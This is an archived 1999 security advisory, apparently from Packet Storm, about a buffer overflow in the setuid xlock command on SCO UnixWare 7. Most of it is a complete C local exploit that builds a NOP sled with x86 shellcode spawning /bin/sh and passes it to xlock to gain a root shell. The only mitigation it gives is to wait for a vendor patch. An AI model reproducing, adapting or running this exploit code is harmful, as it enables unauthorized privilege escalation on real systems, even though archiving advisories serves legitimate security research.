Lucene search
K

unixware.xlock.txt

🗓️ 26 Nov 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

UnixWare 7's xlock command has a buffer overflow vulnerability due to improper bounds checking.

Code
`  
-----Original Message-----  
Date: Fri, 26 Nov 1999 04:29:42 +0300 (MSK)  
From: Matt Conover <[email protected]>  
To: [email protected]  
Subject: [w00giving '99 #7]: UnixWare 7's xlock  
Message-ID:  
<[email protected]>  
MIME-Version: 1.0  
Content-Type: TEXT/PLAIN; charset=US-ASCII  
  
w00w00 Security Development (WSD)  
http://www.w00w00.org/advisories.html  
  
Discovered by: K2 ([email protected])  
  
The xlock command on SCO's UnixWare 7 has improper bounds checking on the  
username passed (via argv[1]), which can cause a buffer overflow when  
a lengthy username is passed.  
  
----------------------------------------------------------------------------  
-  
Exploit (by K2):  
  
// UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999  
#include <unistd.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
char shell[] =  
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"  
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"  
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"  
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"  
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"  
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";  
  
#define SIZE 1200  
#define NOPDEF 601  
#define DEFOFF -400  
  
const char x86_nop=0x90;  
long nop=NOPDEF,esp;  
long offset=DEFOFF;  
char buffer[SIZE];  
  
long get_esp() { __asm__("movl %esp,%eax"); }  
  
int main (int argc, char *argv[])  
{  
register int i;  
  
if (argc > 1) offset += strtol(argv[1], NULL, 0);  
if (argc > 2) nop += strtoul(argv[2], NULL, 0);  
esp = get_esp();  
  
memset(buffer, x86_nop, SIZE);  
memcpy(buffer+nop, shell, strlen(shell));  
  
for (i = nop+strlen(shell); i < SIZE-4; i += 4)  
*((int *) &buffer[i]) = esp+offset;  
  
printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset);  
execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL);  
  
printf("exec failed!\n");  
return 0;  
}  
  
----------------------------------------------------------------------------  
-  
Patch:  
  
As stated in the previous advisory, wait for SCO to release a patch.  
Because of the /var/sadm permissions vulnerability we published earlier  
hasn't been fixed yet, be sure you take off suid privileges on the backed  
up binary! =)  
----------------------------------------------------------------------------  
-  
  
Hellos to the usuals  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation